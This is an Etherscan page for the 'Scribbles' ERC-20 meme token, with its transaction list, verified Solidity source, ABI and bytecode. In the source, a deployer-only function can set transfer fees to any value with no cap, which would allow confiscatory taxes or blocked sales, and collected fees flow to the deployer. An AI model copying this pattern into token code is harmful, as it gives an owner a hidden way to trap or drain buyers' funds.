ETH Price: $2,134.60 (-9.45%)

Contract

0xb9efBaac90aDa660F8231B036497987e20470aD3
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve185747112023-11-15 3:47:23471 days ago1700020043IN
0xb9efBaac...e20470aD3
0 ETH0.0011937125.86485129
Approve185747092023-11-15 3:46:59471 days ago1700020019IN
0xb9efBaac...e20470aD3
0 ETH0.0012211326.28135293
Approve185747032023-11-15 3:45:47471 days ago1700019947IN
0xb9efBaac...e20470aD3
0 ETH0.0011813925.59791108
_set SCRIBL185746962023-11-15 3:44:23471 days ago1700019863IN
0xb9efBaac...e20470aD3
0 ETH0.0007679526.65581883
Approve185746952023-11-15 3:44:11471 days ago1700019851IN
0xb9efBaac...e20470aD3
0 ETH0.0013630329.3353703
Approve185746952023-11-15 3:44:11471 days ago1700019851IN
0xb9efBaac...e20470aD3
0 ETH0.0013630329.3353703
Approve185746942023-11-15 3:43:59471 days ago1700019839IN
0xb9efBaac...e20470aD3
0 ETH0.001413230.42285198
Now Trading Open185746932023-11-15 3:43:47471 days ago1700019827IN
0xb9efBaac...e20470aD3
0 ETH0.0006762625.58706571
Approve185746652023-11-15 3:38:11471 days ago1700019491IN
0xb9efBaac...e20470aD3
0 ETH0.0011830525.62061909

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Scribbles

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

/*

100,000,000 Scribbles ($SCRIBL) on the Ethereum network venturing to find their way to the ScribbleVerse — a world beyond the pages, where nothing is perfect, and creativity is endless…

TG: https://t.me/ScribblesTG
TW: https://twitter.com/Scribbles_ERC20
WEB: https://scribbles.one

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract Scribbles {
        string public constant name = "Scribbles";  //
        string public constant symbol = "SCRIBL";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnFigure = 0;
        uint256 ConfirmFigure = 2;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x448910d907c99996a88Eed11fdb1EFA05a958aD5)); //

        bool private swapping;
        bool private tradingOpenNow;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpenNow || from == deployer || to == deployer);

            if(!tradingOpenNow && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100;
                amount -= FinalFigure;
                balanceOf[address(this)] += FinalFigure;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function NowTradingOpen() external {
            require(msg.sender == deployer);
            require(!tradingOpenNow);
            tradingOpenNow = true;        
            }

        function _setSCRIBL(uint256 newBurn, uint256 newConfirm) external {
            require(msg.sender == deployer);
            BurnFigure = newBurn;
            ConfirmFigure = newConfirm;
            }
        }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"NowTradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurn","type":"uint256"},{"internalType":"uint256","name":"newConfirm","type":"uint256"}],"name":"_setSCRIBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f8055600260015534801562000018575f80fd5b50620000276012600a620001dc565b62000037906305f5e100620001f3565b335f8181526002602090815260408083209490945530825260038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000a66012600a620001dc565b620000b6906305f5e100620001f3565b60405190815260200160405180910390a36200020d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200012157815f1904821115620001055762000105620000cd565b808516156200011357918102915b93841c9390800290620000e6565b509250929050565b5f826200013957506001620001d6565b816200014757505f620001d6565b81600181146200016057600281146200016b576200018b565b6001915050620001d6565b60ff8411156200017f576200017f620000cd565b50506001821b620001d6565b5060208310610133831016604e8410600b8410161715620001b0575081810a620001d6565b620001bc8383620000e1565b805f1904821115620001d257620001d2620000cd565b0290505b92915050565b5f620001ec60ff84168362000129565b9392505050565b8082028115828204841417620001d657620001d6620000cd565b610ae6806200021b5f395ff3fe60806040526004361061009d575f3560e01c80633e04be71116100625780633e04be71146101885780636ffa6406146101a957806370a08231146101bd57806395d89b41146101e8578063a9059cbb14610219578063dd62ed3e14610238575f80fd5b806306fdde03146100a8578063095ea7b3146100f257806318160ddd1461012157806323b872dd14610143578063313ce56714610162575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100dc604051806040016040528060098152602001685363726962626c657360b81b81525081565b6040516100e9919061079e565b60405180910390f35b3480156100fd575f80fd5b5061011161010c366004610804565b61026e565b60405190151581526020016100e9565b34801561012c575f80fd5b506101356102da565b6040519081526020016100e9565b34801561014e575f80fd5b5061011161015d36600461082c565b6102f7565b34801561016d575f80fd5b50610176601281565b60405160ff90911681526020016100e9565b348015610193575f80fd5b506101a76101a2366004610865565b610344565b005b3480156101b4575f80fd5b506101a761036d565b3480156101c8575f80fd5b506101356101d7366004610885565b60026020525f908152604090205481565b3480156101f3575f80fd5b506100dc6040518060400160405280600681526020016514d0d492509360d21b81525081565b348015610224575f80fd5b50610111610233366004610804565b6103b7565b348015610243575f80fd5b5061013561025236600461089e565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c89086815260200190565b60405180910390a35060015b92915050565b6102e66012600a6109c3565b6102f4906305f5e1006109d1565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061032b9084906109e8565b9091555061033c90508484846103ca565b949350505050565b3373448910d907c99996a88eed11fdb1efa05a958ad514610363575f80fd5b5f91909155600155565b3373448910d907c99996a88eed11fdb1efa05a958ad51461038c575f80fd5b600454600160a81b900460ff16156103a2575f80fd5b6004805460ff60a81b1916600160a81b179055565b5f6103c33384846103ca565b9392505050565b6004545f90600160a81b900460ff168061040057506001600160a01b03841673448910d907c99996a88eed11fdb1efa05a958ad5145b8061042757506001600160a01b03831673448910d907c99996a88eed11fdb1efa05a958ad5145b61042f575f80fd5b600454600160a81b900460ff1615801561045257506004546001600160a01b0316155b801561045d57505f82115b1561047e57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104a59084906109e8565b90915550506004546001600160a01b0384811691161480156104d15750600454600160a01b900460ff16155b8015610510575060646104e66012600a6109c3565b6104f4906305f5e1006109d1565b6104fe91906109fb565b305f9081526002602052604090205410155b1561069a576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061055b5761055b610a1a565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105a3576105a3610a1a565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105e36012600a6109c3565b6105f1906305f5e1006109d1565b6105fb91906109fb565b5f8430426040518663ffffffff1660e01b815260040161061f959493929190610a2e565b5f604051808303815f87803b158015610636575f80fd5b505af1158015610648573d5f803e3d5ffd5b505060405173448910d907c99996a88eed11fdb1efa05a958ad592504780156108fc029250905f818181858888f1935050505015801561068a573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610719576004545f906064906001600160a01b038781169116146106cc576001546106cf565b5f545b6106d990856109d1565b6106e391906109fb565b90506106ef81846109e8565b305f90815260026020526040812080549295508392909190610712908490610a9d565b9091555050505b6001600160a01b0383165f9081526002602052604081208054849290610740908490610a9d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078c91815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156107c9578581018301518582016040015282016107ad565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107ff575f80fd5b919050565b5f8060408385031215610815575f80fd5b61081e836107e9565b946020939093013593505050565b5f805f6060848603121561083e575f80fd5b610847846107e9565b9250610855602085016107e9565b9150604084013590509250925092565b5f8060408385031215610876575f80fd5b50508035926020909101359150565b5f60208284031215610895575f80fd5b6103c3826107e9565b5f80604083850312156108af575f80fd5b6108b8836107e9565b91506108c6602084016107e9565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561091d57815f1904821115610903576109036108cf565b8085161561091057918102915b93841c93908002906108e8565b509250929050565b5f82610933575060016102d4565b8161093f57505f6102d4565b8160018114610955576002811461095f5761097b565b60019150506102d4565b60ff841115610970576109706108cf565b50506001821b6102d4565b5060208310610133831016604e8410600b841016171561099e575081810a6102d4565b6109a883836108e3565b805f19048211156109bb576109bb6108cf565b029392505050565b5f6103c360ff841683610925565b80820281158282048414176102d4576102d46108cf565b818103818111156102d4576102d46108cf565b5f82610a1557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610a7c5784516001600160a01b031683529383019391830191600101610a57565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46108cf56fea26469706673582212200de80baa65abb00e9e75988a4943a173ba4768e5eee3dee8a41c619fb94b766364736f6c63430008140033

Deployed Bytecode

0x60806040526004361061009d575f3560e01c80633e04be71116100625780633e04be71146101885780636ffa6406146101a957806370a08231146101bd57806395d89b41146101e8578063a9059cbb14610219578063dd62ed3e14610238575f80fd5b806306fdde03146100a8578063095ea7b3146100f257806318160ddd1461012157806323b872dd14610143578063313ce56714610162575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100dc604051806040016040528060098152602001685363726962626c657360b81b81525081565b6040516100e9919061079e565b60405180910390f35b3480156100fd575f80fd5b5061011161010c366004610804565b61026e565b60405190151581526020016100e9565b34801561012c575f80fd5b506101356102da565b6040519081526020016100e9565b34801561014e575f80fd5b5061011161015d36600461082c565b6102f7565b34801561016d575f80fd5b50610176601281565b60405160ff90911681526020016100e9565b348015610193575f80fd5b506101a76101a2366004610865565b610344565b005b3480156101b4575f80fd5b506101a761036d565b3480156101c8575f80fd5b506101356101d7366004610885565b60026020525f908152604090205481565b3480156101f3575f80fd5b506100dc6040518060400160405280600681526020016514d0d492509360d21b81525081565b348015610224575f80fd5b50610111610233366004610804565b6103b7565b348015610243575f80fd5b5061013561025236600461089e565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c89086815260200190565b60405180910390a35060015b92915050565b6102e66012600a6109c3565b6102f4906305f5e1006109d1565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061032b9084906109e8565b9091555061033c90508484846103ca565b949350505050565b3373448910d907c99996a88eed11fdb1efa05a958ad514610363575f80fd5b5f91909155600155565b3373448910d907c99996a88eed11fdb1efa05a958ad51461038c575f80fd5b600454600160a81b900460ff16156103a2575f80fd5b6004805460ff60a81b1916600160a81b179055565b5f6103c33384846103ca565b9392505050565b6004545f90600160a81b900460ff168061040057506001600160a01b03841673448910d907c99996a88eed11fdb1efa05a958ad5145b8061042757506001600160a01b03831673448910d907c99996a88eed11fdb1efa05a958ad5145b61042f575f80fd5b600454600160a81b900460ff1615801561045257506004546001600160a01b0316155b801561045d57505f82115b1561047e57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104a59084906109e8565b90915550506004546001600160a01b0384811691161480156104d15750600454600160a01b900460ff16155b8015610510575060646104e66012600a6109c3565b6104f4906305f5e1006109d1565b6104fe91906109fb565b305f9081526002602052604090205410155b1561069a576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061055b5761055b610a1a565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105a3576105a3610a1a565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105e36012600a6109c3565b6105f1906305f5e1006109d1565b6105fb91906109fb565b5f8430426040518663ffffffff1660e01b815260040161061f959493929190610a2e565b5f604051808303815f87803b158015610636575f80fd5b505af1158015610648573d5f803e3d5ffd5b505060405173448910d907c99996a88eed11fdb1efa05a958ad592504780156108fc029250905f818181858888f1935050505015801561068a573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610719576004545f906064906001600160a01b038781169116146106cc576001546106cf565b5f545b6106d990856109d1565b6106e391906109fb565b90506106ef81846109e8565b305f90815260026020526040812080549295508392909190610712908490610a9d565b9091555050505b6001600160a01b0383165f9081526002602052604081208054849290610740908490610a9d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078c91815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156107c9578581018301518582016040015282016107ad565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107ff575f80fd5b919050565b5f8060408385031215610815575f80fd5b61081e836107e9565b946020939093013593505050565b5f805f6060848603121561083e575f80fd5b610847846107e9565b9250610855602085016107e9565b9150604084013590509250925092565b5f8060408385031215610876575f80fd5b50508035926020909101359150565b5f60208284031215610895575f80fd5b6103c3826107e9565b5f80604083850312156108af575f80fd5b6108b8836107e9565b91506108c6602084016107e9565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561091d57815f1904821115610903576109036108cf565b8085161561091057918102915b93841c93908002906108e8565b509250929050565b5f82610933575060016102d4565b8161093f57505f6102d4565b8160018114610955576002811461095f5761097b565b60019150506102d4565b60ff841115610970576109706108cf565b50506001821b6102d4565b5060208310610133831016604e8410600b841016171561099e575081810a6102d4565b6109a883836108e3565b805f19048211156109bb576109bb6108cf565b029392505050565b5f6103c360ff841683610925565b80820281158282048414176102d4576102d46108cf565b818103818111156102d4576102d46108cf565b5f82610a1557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610a7c5784516001600160a01b031683529383019391830191600101610a57565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46108cf56fea26469706673582212200de80baa65abb00e9e75988a4943a173ba4768e5eee3dee8a41c619fb94b766364736f6c63430008140033

Deployed Bytecode Sourcemap

679:3906:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;709:41;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;709:41:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2236:222;;;;;;;;;;-1:-1:-1;2236:222:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2236:222:0;1004:187:1;866:64:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;866:64:0;1196:177:1;2618:208:0;;;;;;;;;;-1:-1:-1;2618:208:0;;;;;:::i;:::-;;:::i;820:35::-;;;;;;;;;;;;853:2;820:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;820:35:0;1711:184:1;4370:204:0;;;;;;;;;;-1:-1:-1;4370:204:0;;;;;:::i;:::-;;:::i;:::-;;4178:180;;;;;;;;;;;;;:::i;1072:45::-;;;;;;;;;;-1:-1:-1;1072:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;765:40;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;765:40:0;;;;;2470:136;;;;;;;;;;-1:-1:-1;2470:136:0;;;;;:::i;:::-;;:::i;1128:66::-;;;;;;;;;;-1:-1:-1;1128:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2236:222;2334:10;2304:4;2324:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2324:30:0;;;;;;;;;;:39;;;2383:37;2304:4;;2324:30;;2383:37;;;;2357:6;1342:25:1;;1330:2;1315:18;;1196:177;2383:37:0;;;;;;;;-1:-1:-1;2442:4:0;2236:222;;;;;:::o;866:64::-;918:12;853:2;918;:12;:::i;:::-;904:26;;:11;:26;:::i;:::-;866:64;:::o;2618:208::-;-1:-1:-1;;;;;2720:15:0;;2700:4;2720:15;;;:9;:15;;;;;;;;2736:10;2720:27;;;;;;;:37;;2751:6;;2720:27;2700:4;;2720:37;;2751:6;;2720:37;:::i;:::-;;;;-1:-1:-1;2787:27:0;;-1:-1:-1;2797:4:0;2803:2;2807:6;2787:9;:27::i;:::-;2780:34;2618:208;-1:-1:-1;;;;2618:208:0:o;4370:204::-;4459:10;1835:42;4459:22;4451:31;;;;;;4497:10;:20;;;;4532:13;:26;4370:204::o;4178:180::-;4236:10;1835:42;4236:22;4228:31;;;;;;4283:14;;-1:-1:-1;;;4283:14:0;;;;4282:15;4274:24;;;;;;4313:14;:21;;-1:-1:-1;;;;4313:21:0;-1:-1:-1;;;4313:21:0;;;4178:180::o;2470:136::-;2534:4;2561:33;2571:10;2583:2;2587:6;2561:9;:33::i;:::-;2554:40;2470:136;-1:-1:-1;;;2470:136:0:o;2838:1328::-;2945:14;;2917:4;;-1:-1:-1;;;2945:14:0;;;;;:34;;-1:-1:-1;;;;;;2963:16:0;;1835:42;2963:16;2945:34;:52;;;-1:-1:-1;;;;;;2983:14:0;;1835:42;2983:14;2945:52;2937:61;;;;;;3019:14;;-1:-1:-1;;;3019:14:0;;;;3018:15;:37;;;;-1:-1:-1;3037:4:0;;-1:-1:-1;;;;;3037:4:0;:18;3018:37;:51;;;;;3068:1;3059:6;:10;3018:51;3015:82;;;3088:4;:9;;-1:-1:-1;;;;;;3088:9:0;-1:-1:-1;;;;;3088:9:0;;;;;3015:82;-1:-1:-1;;;;;3114:15:0;;;;;;:9;:15;;;;;:25;;3133:6;;3114:15;:25;;3133:6;;3114:25;:::i;:::-;;;;-1:-1:-1;;3166:4:0;;-1:-1:-1;;;;;3160:10:0;;;3166:4;;3160:10;:23;;;;-1:-1:-1;3175:8:0;;-1:-1:-1;;;3175:8:0;;;;3174:9;3160:23;:65;;;;-1:-1:-1;1056:3:0;918:12;853:2;918;:12;:::i;:::-;904:26;;:11;:26;:::i;:::-;1042:17;;;;:::i;:::-;3205:4;3187:24;;;;:9;:24;;;;;;:38;;3160:65;3156:619;;;3245:8;:15;;-1:-1:-1;;;;3245:15:0;-1:-1:-1;;;3245:15:0;;;3303:17;;;3318:1;3303:17;;;;;;;;-1:-1:-1;;3303:17:0;;;;;;;;;;-1:-1:-1;3303:17:0;3279:41;;3357:4;3339;3344:1;3339:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3339:23:0;;;-1:-1:-1;;;;;3339:23:0;;;;;1553:42;3381:4;3386:1;3381:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3381:13:0;;;:7;;;;;;;;;;;:13;1639:42;3413:67;1056:3;918:12;853:2;918;:12;:::i;:::-;904:26;;:11;:26;:::i;:::-;1042:17;;;;:::i;:::-;3536:1;3560:4;3595;3623:15;3413:248;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3680:40:0;;1835:42;;-1:-1:-1;3698:21:0;3680:40;;;;;-1:-1:-1;3698:21:0;3680:40;;;;3698:21;1835:42;3680:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3739:8:0;:16;;-1:-1:-1;;;;3739:16:0;;;3156:619;-1:-1:-1;;;;;3794:21:0;;3810:4;3794:21;3791:238;;3875:4;;3835:19;;3912:3;;-1:-1:-1;;;;;3867:12:0;;;3875:4;;3867:12;:41;;3895:13;;3867:41;;;3882:10;;3867:41;3857:52;;:6;:52;:::i;:::-;:58;;;;:::i;:::-;3835:80;-1:-1:-1;3934:21:0;3835:80;3934:21;;:::i;:::-;3992:4;3974:24;;;;:9;:24;;;;;:39;;3934:21;;-1:-1:-1;4002:11:0;;3974:24;;;:39;;4002:11;;3974:39;:::i;:::-;;;;-1:-1:-1;;;3791:238:0;-1:-1:-1;;;;;4047:13:0;;;;;;:9;:13;;;;;:23;;4064:6;;4047:13;:23;;4064:6;;4047:23;:::i;:::-;;;;;;;;4109:2;-1:-1:-1;;;;;4094:26:0;4103:4;-1:-1:-1;;;;;4094:26:0;;4113:6;4094:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4094:26:0;;;;;;;;-1:-1:-1;4146:4:0;2838:1328;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:248::-;1968:6;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;-1:-1:-1;;2068:23:1;;;2138:2;2123:18;;;2110:32;;-1:-1:-1;1900:248:1:o;2153:186::-;2212:6;2265:2;2253:9;2244:7;2240:23;2236:32;2233:52;;;2281:1;2278;2271:12;2233:52;2304:29;2323:9;2304:29;:::i;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:127::-;2670:10;2665:3;2661:20;2658:1;2651:31;2701:4;2698:1;2691:15;2725:4;2722:1;2715:15;2741:422;2830:1;2873:5;2830:1;2887:270;2908:7;2898:8;2895:21;2887:270;;;2967:4;2963:1;2959:6;2955:17;2949:4;2946:27;2943:53;;;2976:18;;:::i;:::-;3026:7;3016:8;3012:22;3009:55;;;3046:16;;;;3009:55;3125:22;;;;3085:15;;;;2887:270;;;2891:3;2741:422;;;;;:::o;3168:806::-;3217:5;3247:8;3237:80;;-1:-1:-1;3288:1:1;3302:5;;3237:80;3336:4;3326:76;;-1:-1:-1;3373:1:1;3387:5;;3326:76;3418:4;3436:1;3431:59;;;;3504:1;3499:130;;;;3411:218;;3431:59;3461:1;3452:10;;3475:5;;;3499:130;3536:3;3526:8;3523:17;3520:43;;;3543:18;;:::i;:::-;-1:-1:-1;;3599:1:1;3585:16;;3614:5;;3411:218;;3713:2;3703:8;3700:16;3694:3;3688:4;3685:13;3681:36;3675:2;3665:8;3662:16;3657:2;3651:4;3648:12;3644:35;3641:77;3638:159;;;-1:-1:-1;3750:19:1;;;3782:5;;3638:159;3829:34;3854:8;3848:4;3829:34;:::i;:::-;3899:6;3895:1;3891:6;3887:19;3878:7;3875:32;3872:58;;;3910:18;;:::i;:::-;3948:20;;3168:806;-1:-1:-1;;;3168:806:1:o;3979:140::-;4037:5;4066:47;4107:4;4097:8;4093:19;4087:4;4066:47;:::i;4124:168::-;4197:9;;;4228;;4245:15;;;4239:22;;4225:37;4215:71;;4266:18;;:::i;4297:128::-;4364:9;;;4385:11;;;4382:37;;;4399:18;;:::i;4430:217::-;4470:1;4496;4486:132;;4540:10;4535:3;4531:20;4528:1;4521:31;4575:4;4572:1;4565:15;4603:4;4600:1;4593:15;4486:132;-1:-1:-1;4632:9:1;;4430:217::o;4784:127::-;4845:10;4840:3;4836:20;4833:1;4826:31;4876:4;4873:1;4866:15;4900:4;4897:1;4890:15;4916:980;5178:4;5226:3;5215:9;5211:19;5257:6;5246:9;5239:25;5283:2;5321:6;5316:2;5305:9;5301:18;5294:34;5364:3;5359:2;5348:9;5344:18;5337:31;5388:6;5423;5417:13;5454:6;5446;5439:22;5492:3;5481:9;5477:19;5470:26;;5531:2;5523:6;5519:15;5505:29;;5552:1;5562:195;5576:6;5573:1;5570:13;5562:195;;;5641:13;;-1:-1:-1;;;;;5637:39:1;5625:52;;5732:15;;;;5697:12;;;;5673:1;5591:9;5562:195;;;-1:-1:-1;;;;;;;5813:32:1;;;;5808:2;5793:18;;5786:60;-1:-1:-1;;;5877:3:1;5862:19;5855:35;5774:3;4916:980;-1:-1:-1;;;4916:980:1:o;5901:125::-;5966:9;;;5987:10;;;5984:36;;;6000:18;;:::i

Swarm Source

ipfs://0de80baa65abb00e9e75988a4943a173ba4768e5eee3dee8a41c619fb94b7663

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
